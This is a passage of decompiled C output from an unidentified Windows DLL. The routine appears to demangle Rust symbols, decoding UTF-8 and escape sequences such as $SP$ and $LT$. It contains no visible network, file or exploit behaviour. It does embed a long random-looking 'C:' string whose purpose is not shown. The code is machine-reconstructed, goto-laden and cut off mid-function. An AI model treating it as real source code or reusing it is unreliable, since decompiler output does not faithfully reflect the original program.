														__eflags = _t566;
														_v256 = _t566;
														if(_t566 < 0) {
														}
														L250:
														_t860 = _t998;
														_t1015 = _v260;
														_t1105 = 0;
														_t662 = _t921;
														__eflags = _t921 - 1;
														_t758 = _t1015;
														if(_t921 != 1) {
															_t758 = _t860 + 2;
															_t1105 =  *(_t860 + 1) & 0x3f;
															__eflags = _t1105;
														}
														_t1065 = _t1058 & 0x0000001f;
														__eflags = _v256 - 0xdf;
														if(_v256 <= 0xdf) {
															_t1066 = _t1065 << 6;
															goto L260;
														} else {
															__eflags = _t758 - _t1015;
															if(_t758 == _t1015) {
																_t758 = _t1015;
																_t1105 = _t1105 << 6;
																__eflags = _v256 - 0xf0;
																if(_v256 >= 0xf0) {
																	goto L255;
																} else {
																	goto L259;
																}
															} else {
																_t1017 =  *_t758 & 0x000000ff;
																_t758 = _t758 + 1;
																_t1105 = _t1105 << 0x00000006 | _t1017 & 0x0000003f;
																__eflags = _v256 - 0xf0;
																if(_v256 < 0xf0) {
																	L259:
																	_t1066 = _t1065 << 0xc;
																	__eflags = _t1066;
																	L260:
																	_t1058 = _t1066 | _t1105;
																	_t998 = _t860;
																	_t921 = _t662;
																} else {
																	L255:
																	__eflags = _t758 - _v260;
																	if(_t758 == _v260) {
																		_t758 = 0;
																		__eflags = 0;
																	} else {
																		_t758 =  *_t758 & 0x3f;
																	}
																	_t998 = _t860;
																	_t921 = _t662;
																	_t1109 = _t1105 << 0x00000006 | (_t1065 & 0x00000007) << 0x00000012 | _t758;
																	__eflags = _t1109 - 0x110000;
																	_t1055 = _t1109;
																	if(__eflags == 0) {
																		goto L473;
																	}
																	asm("o16 nop [cs:eax+eax]");
																}
															}
														}
														L264:
														_t1055 = _t1058 + 0xffffffd0;
														_t1103 = _t998 + 1;
														__eflags = _t1055 - 0xa;
														if(_t1055 < 0xa) {
															__eflags = _t921 - 2;
															if(__eflags < 0) {
																goto L473;
															}
															__eflags =  *_t1103 - 0xbf;
															if( *_t1103 <= 0xbf) {
																goto L476;
															}
															_t921 = _t921 - 1;
															_t998 = _t1103;
															_t566 =  *_t998 & 0x000000ff;
															_t1058 = _t566 & 0x000000ff;
															__eflags = _t566;
															_v256 = _t566;
															if(_t566 < 0) {
															}
															goto L264;
														}
														_v260 = _t921;
														_t758 = _v244 - _t921;
														__eflags = _t758;
														if(__eflags == 0) {
															goto L479;
														}
														_t815 = _v252;
														if(__eflags < 0) {
															goto L478;
														}
														__eflags =  *((char*)(_t815 + _t758)) - 0xc0;
														if( *((char*)(_t815 + _t758)) < 0xc0) {
															goto L478;
														}
														_t567 =  *_t815;
														_v264 = _t998;
														__eflags = _t567 - 0x2d;
														if(_t567 == 0x2d) {
															_t568 = _v252;
															__eflags = _t758 - 1;
															if(__eflags == 0) {
																goto L474;
															}
														} else {
															__eflags = _t567 - 0x2b;
															if(_t567 != 0x2b) {
																_t568 = _v252;
															} else {
																_t661 = _v252;
																_t758 = _t758 - 1;
																__eflags = _t758;
																if(__eflags == 0) {
																	goto L474;
																}
																_t568 = _t661 + 1;
															}
														}
														_t1059 = 0;
														asm("o16 nop [cs:eax+eax]");
														while(1) {
															__eflags = _t758;
															if(_t758 == 0) {
																break;
															}
															_t998 = ( *_t568 & 0x000000ff) + 0xffffffd0;
															__eflags = _t998 - 9;
															if(__eflags > 0) {
																goto L474;
															}
															_t859 = _t568;
															_t659 = _t1059 * 0xa;
															__eflags = _t659;
															_t920 = 2;
															if(__eflags < 0) {
																goto L475;
															}
															_t758 = _t758 - 1;
															_t568 =  &(_t859[1]);
															_t1059 = _t659 + _t998;
															__eflags = _t1059;
															if(__eflags >= 0) {
																continue;
															} else {
																goto L475;
															}
															goto L498;
														}
														__eflags = _t1059;
														if(_t1059 == 0) {
															_t762 = _v260;
															_v252 = _v264;
															_t570 = _v160;
															__eflags =  *_t570 & 0x00000004;
															if(( *_t570 & 0x00000004) != 0) {
																goto L294;
															} else {
																goto L320;
															}
														} else {
															_t758 = _v260;
															__eflags = _t758 - _t1059;
															if(__eflags <= 0) {
																if(__eflags != 0) {
																	goto L480;
																} else {
																	_t825 = _v264;
																	__eflags = _t758 - _t1059;
																	if(_t758 != _t1059) {
																		goto L481;
																	} else {
																		goto L293;
																	}
																}
															} else {
																_t657 = _v264;
																__eflags =  *((char*)(_t657 + _t1059)) - 0xbf;
																if( *((char*)(_t657 + _t1059)) <= 0xbf) {
																	L480:
																	_t820 = _v264;
																	_t924 = _t758;
																	_push(0x6ec2f000);
																	_push(_t758);
																	goto L488;
																} else {
																	_t825 = _v264;
																	__eflags =  *((char*)(_t825 + _t1059)) - 0xbf;
																	if( *((char*)(_t825 + _t1059)) > 0xbf) {
																		L293:
																		_v252 = _t825 + _t1059;
																		_t656 = _v160;
																		__eflags =  *_t656 & 0x00000004;
																		if(( *_t656 & 0x00000004) == 0) {
																			L320:
																			__eflags = _v248;
																			if(_v248 == 0) {
																				L322:
																				__eflags = _t1059 - 2;
																				if(_t1059 < 2) {
																					L324:
																					_t998 = _t1059;
																					goto L325;
																				} else {
																					__eflags = ( *_v264 & 0x0000ffff) - 0x245f;
																					if(( *_v264 & 0x0000ffff) == 0x245f) {
																						__eflags =  *_t1103 - 0xbf;
																						if( *_t1103 <= 0xbf) {
																							_t825 = _v264;
																							_t927 = _t1059;
																							_push(0x6ec2f024);
																							goto L484;
																						} else {
																							_t535 = _t1059 - 1; // -1
																							_t998 = _t535;
																							_v264 = _t1103;
																							L325:
																							_t758 = _t762 - _t1059;
																							__eflags = _t758;
																							_t1055 = _v264;
																							_v244 = _t758;
																							while(1) {
																								L326:
																								__eflags = _t998;
																								_v264 = _t1055;
																								if(_t998 == 0) {
																									break;
																								}
																								_t580 =  *_t1055;
																								__eflags = _t580 - 0x24;
																								if(_t580 == 0x24) {
																									__eflags = _t998 - 2;
																									if(_t998 < 2) {
																										L361:
																										_t1055 = _t1055 + 1;
																										_t449 = _t998 - 1; // -1
																										_t581 = _t449;
																										_t924 =  &_v224;
																										_v260 = _t998;
																										_v224 = _t1055;
																										_v220 = _t581;
																										_v216 = 0;
																										_v212 = _t581;
																										_v208 = 0x24;
																										_v204 = 1;
																										_v200 = 0x24;
																										E6EBE48F0( &_v196,  &_v224);
																										__eflags = _v196 - 1;
																										if(_v196 != 1) {
																											L245:
																											_t574 =  *((intOrPtr*)(_a24 + 0xc))(_a20, _v264, _v260);
																											_t1127 = _t1127 + 0xc;
																											__eflags = _t574;
																											_t557 = _v232;
																											_t812 = _v228;
																											if(_t574 != 0) {
																												goto L472;
																											} else {
																												goto L246;
																											}
																										} else {
																											_t820 = _v192;
																											__eflags = _t820 - 0xffffffff;
																											if(__eflags == 0) {
																												goto L489;
																											} else {
																												_t924 = _v260;
																												_t589 = _t820 + 1;
																												__eflags = _t924 - 2;
																												if(_t924 < 2) {
																													L365:
																													__eflags = _t589 - _t924;
																													_v256 = _t820;
																													if(__eflags >= 0) {
																														if(__eflags != 0) {
																															goto L482;
																														} else {
																															_t583 = _t820 + 2;
																															__eflags = _t583;
																															if(_t583 == 0) {
																																_v240 = _t924;
																																_v236 = _v264;
																																goto L408;
																															} else {
																																goto L381;
																															}
																														}
																													} else {
																														_t844 = _v264;
																														__eflags =  *((char*)(_t844 + _t589)) - 0xc0;
																														_t845 = _v256;
																														if( *((char*)(_t844 + _t589)) < 0xc0) {
																															goto L482;
																														} else {
																															_t583 = _t845 + 2;
																															L381:
																															_t1001 = _t924 - _t583;
																															__eflags = _t1001;
																															if(__eflags <= 0) {
																																_t820 = _v264;
																																if(__eflags != 0) {
																																	goto L490;
																																} else {
																																	goto L385;
																																}
																															} else {
																																_t820 = _v264;
																																__eflags =  *((char*)(_t820 + _t583)) - 0xbf;
																																if( *((char*)(_t820 + _t583)) > 0xbf) {
																																	L385:
																																	_t841 = _v256;
																																	_v236 = _t583 + _t820;
																																	__eflags = _t841 - 1;
																																	if(_t841 == 1) {
																																		_t842 =  *_t1055;
																																		_t617 = 0x6ec2f09c;
																																		__eflags = _t842 - 0x43;
																																		if(_t842 == 0x43) {
																																			goto L466;
																																		} else {
																																			__eflags = _t842 - 0x75;
																																			_v240 = _t1001;
																																			if(_t842 == 0x75) {
																																				goto L410;
																																			} else {
																																				goto L245;
																																			}
																																		}
																																	} else {
																																		__eflags = _t841 - 2;
																																		if(_t841 == 2) {
																																			__eflags = ( *_t1055 & 0x0000ffff) - 0x5053;
																																			if(( *_t1055 & 0x0000ffff) == 0x5053) {
																																				_t617 = "@*&<>()C,";
																																				goto L466;
																																			} else {
																																				__eflags = ( *_t1055 & 0x0000ffff) - 0x5042;
																																				if(( *_t1055 & 0x0000ffff) == 0x5042) {
																																					_t617 = "*&<>()C,";
																																					goto L466;
																																				} else {
																																					__eflags = ( *_t1055 & 0x0000ffff) - 0x4652;
																																					if(( *_t1055 & 0x0000ffff) == 0x4652) {
																																						_t617 =  &M6EC2F096;
																																						goto L466;
																																					} else {
																																						__eflags = ( *_t1055 & 0x0000ffff) - 0x544c;
																																						if(( *_t1055 & 0x0000ffff) == 0x544c) {
																																							_t617 = "<>()C,";
																																							goto L466;
																																						} else {
																																							__eflags = ( *_t1055 & 0x0000ffff) - 0x5447;
																																							if(( *_t1055 & 0x0000ffff) == 0x5447) {
																																								_t617 = 0x6ec2f098;
																																								goto L466;
																																							} else {
																																								__eflags = ( *_t1055 & 0x0000ffff) - 0x504c;
																																								if(( *_t1055 & 0x0000ffff) == 0x504c) {
																																									_t617 = 0x6ec2f099;
																																									goto L466;
																																								} else {
																																									__eflags = ( *_t1055 & 0x0000ffff) - 0x5052;
																																									if(( *_t1055 & 0x0000ffff) == 0x5052) {
																																										_t617 = 0x6ec2f09a;
																																										L466:
																																										_t618 =  *((intOrPtr*)(_a24 + 0xc))(_a20, _t617, 1);
																																										_t1127 = _t1127 + 0xc;
																																										__eflags = _t618;
																																										_t603 = _v236;
																																										if(_t618 != 0) {
																																											goto L472;
																																										} else {
																																											goto L467;
																																										}
																																									} else {
																																										_v240 = _t1001;
																																										goto L408;
																																									}
																																								}
																																							}
																																						}
																																					}
																																				}
																																			}
																																		} else {
																																			__eflags = _t841;
																																			_v240 = _t1001;
																																			if(_t841 != 0) {
																																				L408:
																																				__eflags =  *_t1055 - 0x75;
																																				if( *_t1055 != 0x75) {
																																					goto L245;
																																				} else {
																																					_t596 = _v264;
																																					__eflags =  *((char*)(_t596 + 2)) - 0xbf;
																																					if( *((char*)(_t596 + 2)) <= 0xbf) {
																																						_t921 = _v256;
																																						_t815 = _t1055;
																																						_push(0x6ec2f0a0);
																																						goto L477;
																																					}
																																					L410:
																																					_t597 = _v264;
																																					_t929 = _v256;
																																					_t826 = _t597 + 2;
																																					_t1055 = _t929 - 1;
																																					_t930 = _t597 + _t929 + 1;
																																					_t1112 = _t826;
																																					_v248 = _t930;
																																					while(1) {
																																						__eflags = _t1112 - _t930;
																																						if(_t1112 == _t930) {
																																							break;
																																						}
																																						_t764 =  *_t1112 & 0x000000ff;
																																						_t502 =  &_v3; // 0xc0
																																						_t606 = _t502;
																																						_t1003 = _t764 & 0x000000ff;
																																						__eflags = _t764;
																																						if(_t764 < 0) {
																																							__eflags = _t606 - _t930;
																																							if(_t606 == _t930) {
																																								_t607 = 0;
																																								_t1112 = _t930;
																																								_t1004 = _t1003 & 0x0000001f;
																																								__eflags = _t764 - 0xdf;
																																								if(_t764 > 0xdf) {
																																									goto L416;
																																								} else {
																																									goto L421;
																																								}
																																							} else {
																																								_t1112 =  &_v2;
																																								_t607 = _v3 & 0x3f;
																																								_t1004 = _t1003 & 0x0000001f;
																																								__eflags = _t764 - 0xdf;
																																								if(_t764 <= 0xdf) {
																																									L421:
																																									_t998 = _t1004 << 0x00000006 | _t607;
																																									goto L427;
																																								} else {
																																									L416:
																																									__eflags = _t1112 - _t930;
																																									if(_t1112 == _t930) {
																																										_t1112 = _t930;
																																										_t609 = _t607 << 6;
																																										__eflags = _t764 - 0xf0;
																																										if(_t764 >= 0xf0) {
																																											goto L418;
																																										} else {
																																											goto L423;
																																										}
																																									} else {
																																										_t943 =  *_t1112 & 0x000000ff;
																																										_t1112 =  &_v3;
																																										_t609 = _t607 << 0x00000006 | _t943 & 0x0000003f;
																																										__eflags = _t764 - 0xf0;
																																										if(_t764 < 0xf0) {
																																											L423:
																																											_t930 = _v248;
																																											_t998 = _t1004 << 0x0000000c | _t609;
																																											goto L427;
																																										} else {
																																											L418:
																																											_t930 = _v248;
																																											__eflags = _t1112 - _t930;
																																											if(_t1112 == _t930) {
																																												_t765 = 0;
																																												__eflags = 0;
																																												_t1112 = _t930;
																																											} else {
																																												_t766 =  *_t1112 & 0x000000ff;
																																												_t1112 =  &_v3;
																																												_t765 = _t766 & 0x0000003f;
																																											}
																																											_t612 = _t609 << 0x00000006 | (_t1004 & 0x00000007) << 0x00000012 | _t765;
																																											__eflags = _t612 - 0x110000;
																																											_t998 = _t612;
																																											if(_t612 == 0x110000) {
																																												break;
																																											} else {
																																												asm("o16 nop [cs:eax+eax]");
																																												goto L427;
																																											}
																																										}
																																									}
																																								}
																																							}
																																						} else {
																																							_t1112 = _t606;
																																							L427:
																																							_t506 = _t998 - 0x30; // -48
																																							__eflags = _t506 - 0xa;
																																							if(_t506 < 0xa) {
																																								continue;
																																							} else {
																																								_t998 = _t998 + 0xffffff9f;
																																								__eflags = _t998 - 6;
																																								if(_t998 < 6) {
																																									continue;
																																								} else {
																																									_t758 = 1;
																																									_t1113 = _v160;
																																									__eflags = _t1055;
																																									if(_t1055 != 0) {
																																										L432:
																																										_t598 =  *_t826;
																																										__eflags = _t598 - 0x2d;
																																										if(_t598 == 0x2d) {
																																											__eflags = _t1055 - 1;
																																											if(_t1055 == 1) {
																																												goto L245;
																																											} else {
																																												goto L437;
																																											}
																																										} else {
																																											__eflags = _t598 - 0x2b;
																																											if(_t598 != 0x2b) {
																																												L437:
																																												_t599 = 0;
																																												__eflags = 0;
																																												asm("o16 nop [cs:eax+eax]");
																																												while(1) {
																																													__eflags = _t1055;
																																													if(_t1055 == 0) {
																																														break;
																																													}
																																													_t935 =  *_t826 & 0x000000ff;
																																													_t998 = _t935 - 0x30;
																																													__eflags = _t998 - 0xa;
																																													if(_t998 < 0xa) {
																																														L441:
																																														_t604 = _t599 * 0x10;
																																														__eflags = _t604;
																																														if(_t604 < 0) {
																																															goto L245;
																																														} else {
																																															_t826 =  &(_t826[1]);
																																															_t1055 = _t1055 - 1;
																																															_t599 = _t604 + _t998;
																																															__eflags = _t599;
																																															if(_t599 >= 0) {
																																																continue;
																																															} else {
																																																goto L245;
																																															}
																																														}
																																													} else {
																																														_t941 =  <  ? 0xffffffff : (_t935 | 0x00000020) + 0xffffffffffffffa9;
																																														__eflags = _t941 - 0xf;
																																														_t998 = _t941;
																																														if(_t941 > 0xf) {
																																															goto L245;
																																														} else {
																																															goto L441;
																																														}
																																													}
																																													goto L498;
																																												}
																																												__eflags = (_t599 & 0xfffff800) - 0xd800;
																																												_t830 =  ==  ? 0x110000 : _t599;
																																												__eflags = _t599 - 0x110000;
																																												_t831 =  >=  ? 0x110000 :  ==  ? 0x110000 : _t599;
																																												__eflags = _t831 - 0x110000;
																																												_t758 = _t758 | _t599 & 0xffffff00 | _t831 == 0x00110000;
																																												__eflags = _t758;
																																												if(_t758 != 0) {
																																													goto L245;
																																												} else {
																																													__eflags = _t831 - 0x20;
																																													_v224 = _t831;
																																													if(_t831 < 0x20) {
																																														goto L245;
																																													} else {
																																														__eflags = _t831 + 0xffffff81 - 0x20;
																																														if(_t831 + 0xffffff81 <= 0x20) {
																																															goto L245;
																																														} else {
																																															_t602 = E6EBE3490( &_v224,  &_v224, _t1113);
																																															_t1127 = _t1127 + 8;
																																															__eflags = _t602;
																																															_t603 = _v236;
																																															_t998 = _v240;
																																															if(_t602 == 0) {
																																																goto L467;
																																															} else {
																																																goto L472;
																																															}
																																														}
																																													}
																																												}
																																											} else {
																																												_t509 =  &_v256;
																																												 *_t509 = _v256 + 0xfffffffe;
																																												__eflags =  *_t509;
																																												if( *_t509 == 0) {
																																													goto L245;
																																												} else {
																																													_t1055 = _v256;
																																													_t826 = _v264 + 3;
																																													goto L437;
																																												}
																																											}
																																										}
																																									} else {
																																										goto L245;
																																									}
																																								}
																																							}
																																						}
																																						goto L498;
																																					}
																																					_t758 = 0;
																																					_t1113 = _v160;
																																					__eflags = _t1055;
																																					if(_t1055 == 0) {
																																						goto L245;
																																					} else {
																																						goto L432;
																																					}
																																				}
																																			} else {
																																				goto L245;
																																			}
																																		}
																																	}
																																} else {
																																	goto L490;
																																}
																															}
																														}
																													}
																												} else {
																													__eflags =  *_t1055 - 0xc0;
																													if( *_t1055 < 0xc0) {
																														L482:
																														E6EC09620(_v264, _t924, 1, _t589, 0x6ec2f074);
																														_t1127 = _t1127 + 0xc;
																														asm("ud2");
																														goto L483;
																													} else {
																														goto L365;
																													}
																												}
																											}
																										}
																									} else {
																										__eflags =  *(_t1055 + 1) - 0xbf;
																										if( *(_t1055 + 1) <= 0xbf) {
																											_t821 = _t1055;
																											_t925 = _t998;
																											_push(0x6ec2f064);
																											goto L496;
																										} else {
																											goto L361;
																										}
																									}
																								} else {
																									__eflags = _t580 - 0x2e;
																									if(_t580 != 0x2e) {
																										break;
																									} else {
																										_t428 = _t1055 + 1; // 0x1
																										_t626 = _t428;
																										__eflags = _t998 - 2;
																										if(_t998 < 2) {
																											_t628 =  *((intOrPtr*)(_a24 + 0xc))(_a20, ".assertion failed: !handle.is_null()C:dhidzhitbujbfqqncawhogkkniegcctcaffidkzeqdjseyaidkczyyqaglapgqobugufdomajsuqnpsbinwfvrqqdagbgthjkpsvdrffbyloxsjdadyxwklhzxnssljgptb", 1);
																											_t1127 = _t1127 + 0xc;
																											_t998 = 0;
																											__eflags = _t628;
																											_t603 = _t626;
																											if(_t628 == 0) {
																												goto L467;
																											} else {
																												goto L472;
																											}
																										} else {
																											_t932 =  *_t626;
																											__eflags = _t932 - 0xbf;
																											if(_t932 <= 0xbf) {
																												goto L491;
																											} else {
																												_t758 = _t626;
																												_t629 = _t932 & 0x000000ff;
																												__eflags = _t932;
																												if(_t932 < 0) {
																													_t1061 = _t1055 + _t998;
																													_t833 = 0;
																													_v260 = _t998;
																													__eflags = _t998 - 2;
																													_t1010 = _t1061;
																													if(_t998 != 2) {
																														_t487 = _v264 + 3; // 0x3
																														_t1010 = _t487;
																														_t833 =  *(_v264 + 2) & 0x3f;
																														__eflags = _t833;
																													}
																													_t630 = _t629 & 0x0000001f;
																													__eflags = _t932 - 0xdf;
																													if(_t932 <= 0xdf) {
																														_t631 = _t630 << 6;
																														goto L455;
																													} else {
																														__eflags = _t1010 - _t1061;
																														if(_t1010 == _t1061) {
																															_v256 = 0;
																															_t1011 = _t1061;
																															_t833 = (_t833 << 6) + _v256;
																															__eflags = _t932 - 0xf0;
																															if(_t932 >= 0xf0) {
																																goto L405;
																															} else {
																																goto L454;
																															}
																														} else {
																															_v248 = _t1061;
																															_t1011 =  &(_t1010[1]);
																															_v256 =  *_t1010 & 0x3f;
																															_t1061 = _v248;
																															_t833 = (_t833 << 6) + _v256;
																															__eflags = _t932 - 0xf0;
																															if(_t932 < 0xf0) {
																																L454:
																																_t631 = _t630 << 0xc;
																																__eflags = _t631;
																																L455:
																																_t1055 = _v264;
																																_t1001 = _v260;
																																__eflags = (_t631 | _t833) - 0x2e;
																																if((_t631 | _t833) == 0x2e) {
																																	goto L333;
																																} else {
																																	goto L456;
																																}
																															} else {
																																L405:
																																__eflags = _t1011 - _t1061;
																																if(_t1011 == _t1061) {
																																	_t933 = 0;
																																	__eflags = 0;
																																} else {
																																	_t933 =  *_t1011 & 0x3f;
																																}
																																_t1055 = _v264;
																																_t1001 = _v260;
																																__eflags = (_t833 << 0x00000006 | (_t630 & 0x00000007) << 0x00000012 | _t933) - 0x2e;
																																if((_t833 << 0x00000006 | (_t630 & 0x00000007) << 0x00000012 | _t933) == 0x2e) {
																																	goto L333;
																																} else {
																																	goto L456;
																																}
																															}
																														}
																													}
																												} else {
																													__eflags = _t629 - 0x2e;
																													if(_t629 != 0x2e) {
																														L456:
																														_t636 =  *((intOrPtr*)(_a24 + 0xc))(_a20, ".assertion failed: !handle.is_null()C:dhidzhitbujbfqqncawhogkkniegcctcaffidkzeqdjseyaidkczyyqaglapgqobugufdomajsuqnpsbinwfvrqqdagbgthjkpsvdrffbyloxsjdadyxwklhzxnssljgptb", 1);
																														_t1127 = _t1127 + 0xc;
																														__eflags = _t636;
																														if(_t636 != 0) {
																															goto L472;
																														} else {
																															__eflags =  *_t758 - 0xbf;
																															if( *_t758 <= 0xbf) {
																																_t821 = _t1055;
																																_t925 = _t1001;
																																_push(0x6ec2f044);
																																goto L496;
																															} else {
																																_t998 = _t1001 - 1;
																																_t1055 = _t758;
																																continue;
																															}
																														}
																													} else {
																														L333:
																														_t634 =  *((intOrPtr*)(_a24 + 0xc))(_a20, 0x6ec2f020, 2);
																														_t1127 = _t1127 + 0xc;
																														__eflags = _t634;
																														if(_t634 != 0) {
																															goto L472;
																														} else {
																															_t432 = _t1055 + 2; // 0x2
																															_t603 = _t432;
																															__eflags = _t1001 - 3;
																															if(_t1001 < 3) {
																																L336:
																																_t998 = _t1001 + 0xfffffffe;
																																L467:
																																_t1055 = _t603;
																																continue;
																															} else {
																																__eflags =  *_t603 - 0xbf;
																																if( *_t603 <= 0xbf) {
																																	goto L497;
																																} else {
																																	goto L336;
																																}
																															}
																														}
																													}
																												}
																											}
																										}
																									}
																								}
																								goto L498;
																							}
																							_t758 = _t1055 + _t998;
																							_t572 = 0;
																							__eflags = 0;
																							_t817 = _t1055;
																							_v260 = _t998;
																							_v256 = _t758;
																							while(1) {
																								__eflags = _t817 - _t758;
																								if(_t817 == _t758) {
																									goto L245;
																								}
																								_t1055 = _t572;
																								_t575 =  *_t817 & 0x000000ff;
																								_t436 = _t817 + 1; // 0x1
																								_t998 = _t436;
																								_t923 = _t575 & 0x000000ff;
																								__eflags = _t575;
																								if(_t575 >= 0) {
																									L353:
																									__eflags = _t923 - 0x24;
																									if(_t923 == 0x24) {
																										L355:
																										__eflags = _t1055;
																										if(_t1055 == 0) {
																											_t577 =  *((intOrPtr*)(_a24 + 0xc))(_a20, _v264, 0);
																											_t1127 = _t1127 + 0xc;
																											_t1001 = _v260;
																											_t818 = 0;
																											__eflags = _t577;
																											if(_t577 == 0) {
																												goto L376;
																											} else {
																												goto L472;
																											}
																										} else {
																											_t1001 = _v260;
																											__eflags = _t1001 - _t1055;
																											if(__eflags <= 0) {
																												_t825 = _v264;
																												if(__eflags != 0) {
																													goto L485;
																												} else {
																													goto L371;
																												}
																											} else {
																												_t825 = _v264;
																												__eflags =  *((char*)(_t825 + _t1055)) - 0xbf;
																												if( *((char*)(_t825 + _t1055)) > 0xbf) {
																													L371:
																													_t642 =  *((intOrPtr*)(_a24 + 0xc))(_a20, _t825, _t1055);
																													_t1127 = _t1127 + 0xc;
																													__eflags = _t642;
																													if(_t642 != 0) {
																														goto L472;
																													} else {
																														__eflags = _t1001 - _t1055;
																														if(__eflags <= 0) {
																															_t818 = _t1001;
																															if(__eflags != 0) {
																																goto L487;
																															} else {
																																goto L376;
																															}
																														} else {
																															_t643 = _v264;
																															__eflags =  *((char*)(_t643 + _t1055)) - 0xbf;
																															if( *((char*)(_t643 + _t1055)) <= 0xbf) {
																																goto L487;
																															} else {
																																_t818 = _t1055;
																																L376:
																																_t998 = _t1001 - _t818;
																																_t1055 = _v264 + _t818;
																																goto L326;
																															}
																														}
																													}
																												} else {
																													goto L485;
																												}
																											}
																										}
																									} else {
																										_t645 = _t1055 - _t817;
																										_t817 = _t998;
																										_t572 = _t645 + _t998;
																										__eflags = _t923 - 0x2e;
																										if(_t923 != 0x2e) {
																											continue;
																										} else {
																											goto L355;
																										}
																									}
																								} else {
																									__eflags = _t998 - _t758;
																									if(_t998 == _t758) {
																										_t998 = _t758;
																										_t767 = 0;
																										_t945 = _t923 & 0x0000001f;
																										__eflags = _t575 - 0xdf;
																										if(_t575 > 0xdf) {
																											goto L342;
																										} else {
																											goto L347;
																										}
																									} else {
																										_t438 = _t817 + 2; // 0x2
																										_t998 = _t438;
																										_t767 =  *(_t817 + 1) & 0x3f;
																										_t945 = _t923 & 0x0000001f;
																										__eflags = _t575 - 0xdf;
																										if(_t575 <= 0xdf) {
																											L347:
																											_t923 = _t945 << 0x00000006 | _t767;
																											_t758 = _v256;
																											goto L353;
																										} else {
																											L342:
																											_t1114 = _v256;
																											__eflags = _t998 - _t1114;
																											if(_t998 == _t1114) {
																												_t998 = _t1114;
																												_t769 = _t767 << 6;
																												__eflags = _t575 - 0xf0;
																												if(_t575 >= 0xf0) {
																													goto L344;
																												} else {
																													goto L349;
																												}
																											} else {
																												_t1119 =  *_t998 & 0x000000ff;
																												_t998 = _t998 + 1;
																												_t769 = _t767 << 0x00000006 | _t1119 & 0x0000003f;
																												__eflags = _t575 - 0xf0;
																												if(_t575 < 0xf0) {
																													L349:
																													_t923 = _t945 << 0x0000000c | _t769;
																													_t758 = _v256;
																													goto L353;
																												} else {
																													L344:
																													_t1116 = _v256;
																													__eflags = _t998 - _t1116;
																													if(_t998 == _t1116) {
																														_t646 = 0;
																														__eflags = 0;
																														_t998 = _t1116;
																													} else {
																														_t647 =  *_t998 & 0x000000ff;
																														_t998 = _t998 + 1;
																														_t646 = _t647 & 0x0000003f;
																													}
																													_t772 = _t769 << 0x00000006 | (_t945 & 0x00000007) << 0x00000012 | _t646;
																													__eflags = _t772 - 0x110000;
																													_t923 = _t772;
																													_t758 = _v256;
																													if(_t772 == 0x110000) {
																														goto L245;
																													} else {
																														asm("o16 nop [cs:eax+eax]");
																														goto L353;
																													}
																												}
																											}
																										}
																									}
																								}
																								goto L498;
																							}
																							goto L245;
																						}
																					} else {
																						goto L324;
																					}
																				}
																			} else {
																				_t846 = _v160;
																				_t651 =  *((intOrPtr*)( *((intOrPtr*)(_t846 + 0x1c)) + 0xc))( *((intOrPtr*)(_t846 + 0x18)), 0x6ec2f020, 2);
																				_t1127 = _t1127 + 0xc;
																				__eflags = _t651;
																				if(_t651 != 0) {
																					L472:
																					_t558 = 1;
																					goto L471;
																				} else {
																					goto L322;
																				}
																			}
																		} else {
																			L294:
																			__eflags = _v228 - _v232;
																			if(_v228 != _v232) {
																				goto L320;
																			} else {
																				__eflags = _t1059;
																				if(_t1059 == 0) {
																					goto L320;
																				} else {
																					__eflags = _v256 - 0x68;
																					if(_v256 != 0x68) {
																						goto L320;
																					} else {
																						__eflags = _t1059 - 2;
																						if(_t1059 < 2) {
																							goto L470;
																						} else {
																							_t950 =  *_t1103;
																							_t652 = _t1103;
																							__eflags = _t950 - 0xc0;
																							if(_t950 < 0xc0) {
																								L483:
																								_t825 = _v264;
																								_t927 = _t1055;
																								_push(0x6ec2efb0);
																								L484:
																								_push(_t1055);
																								_push(1);
																								E6EC09620(_t825, _t927);
																								_t1127 = _t1127 + 0xc;
																								asm("ud2");
																								L485:
																								_t928 = _t1001;
																								_push(0x6ec2f0b0);
																								goto L486;
																							} else {
																								_t1001 = _t652 + 1;
																								__eflags = _t950;
																								if(_t950 < 0) {
																									L301:
																									_t775 = _v252;
																									_t952 = _t950 & 0x0000001f;
																									__eflags = _t1001 - _t775;
																									if(_t1001 == _t775) {
																										_t847 = 0;
																										_t653 = _t775;
																										_t776 = _t952 & 0x000000ff;
																										__eflags = _t952 - 0xdf;
																										if(_t952 > 0xdf) {
																											goto L303;
																										} else {
																											goto L308;
																										}
																									} else {
																										_t853 = _t654[1] & 0x000000ff;
																										_t654 =  &(_t654[2]);
																										_t847 = _t853 & 0x0000003f;
																										_t776 = _t952 & 0x000000ff;
																										__eflags = _t952 - 0xdf;
																										if(_t952 <= 0xdf) {
																											L308:
																											_t779 = _t776 << 6;
																											goto L311;
																										} else {
																											L303:
																											_t1012 = _v252;
																											__eflags = _t653 - _t1012;
																											if(_t653 == _t1012) {
																												_t654 = _t1012;
																												_t1001 = 0;
																												_t849 = _t847 << 6;
																												__eflags = _t952 - 0xf0;
																												if(_t952 >= 0xf0) {
																													goto L305;
																												} else {
																													goto L310;
																												}
																											} else {
																												_t654 =  &(_t653[1]);
																												_t1001 =  *_t653 & 0x3f;
																												_t847 = _t847 << 0x00000006 | _t1001;
																												__eflags = _t952 - 0xf0;
																												if(_t952 < 0xf0) {
																													L310:
																													_t779 = _t776 << 0xc;
																													__eflags = _t779;
																													L311:
																													_t852 = _t847 | _t779;
																													_t762 = _v260;
																													goto L315;
																												} else {
																													L305:
																													_t1001 = _v252;
																													__eflags = _t654 - _t1001;
																													if(_t654 == _t1001) {
																														_t953 = 0;
																														__eflags = 0;
																														_t654 = _t1001;
																													} else {
																														_t956 =  *_t654 & 0x000000ff;
																														_t654 =  &(_t654[1]);
																														_t953 = _t956 & 0x0000003f;
																													}
																													_t762 = _v260;
																													_t852 = _t849 << 0x00000006 | (_t776 & 0x00000007) << 0x00000012 | _t953;
																													__eflags = _t852 - 0x110000;
																													if(_t852 == 0x110000) {
																														goto L470;
																													} else {
																														asm("o16 nop [cs:eax+eax]");
																														goto L315;
																													}
																												}
																											}
																										}
																									}
																								} else {
																									L300:
																									_t852 = _t950 & 0x000000ff;
																									_t654 = _t1001;
																									L315:
																									_t418 = _t852 - 0x30; // -48
																									__eflags = _t418 - 0xa;
																									if(_t418 < 0xa) {
																										L317:
																										__eflags = _t654 - _v252;
																										if(_t654 == _v252) {
																											goto L470;
																										} else {
																											_t950 =  *_t654;
																											_t1001 =  &(_t654[1]);
																											__eflags = _t950;
																											if(_t950 >= 0) {
																												goto L300;
																											} else {
																												goto L301;
																											}
																										}
																									} else {
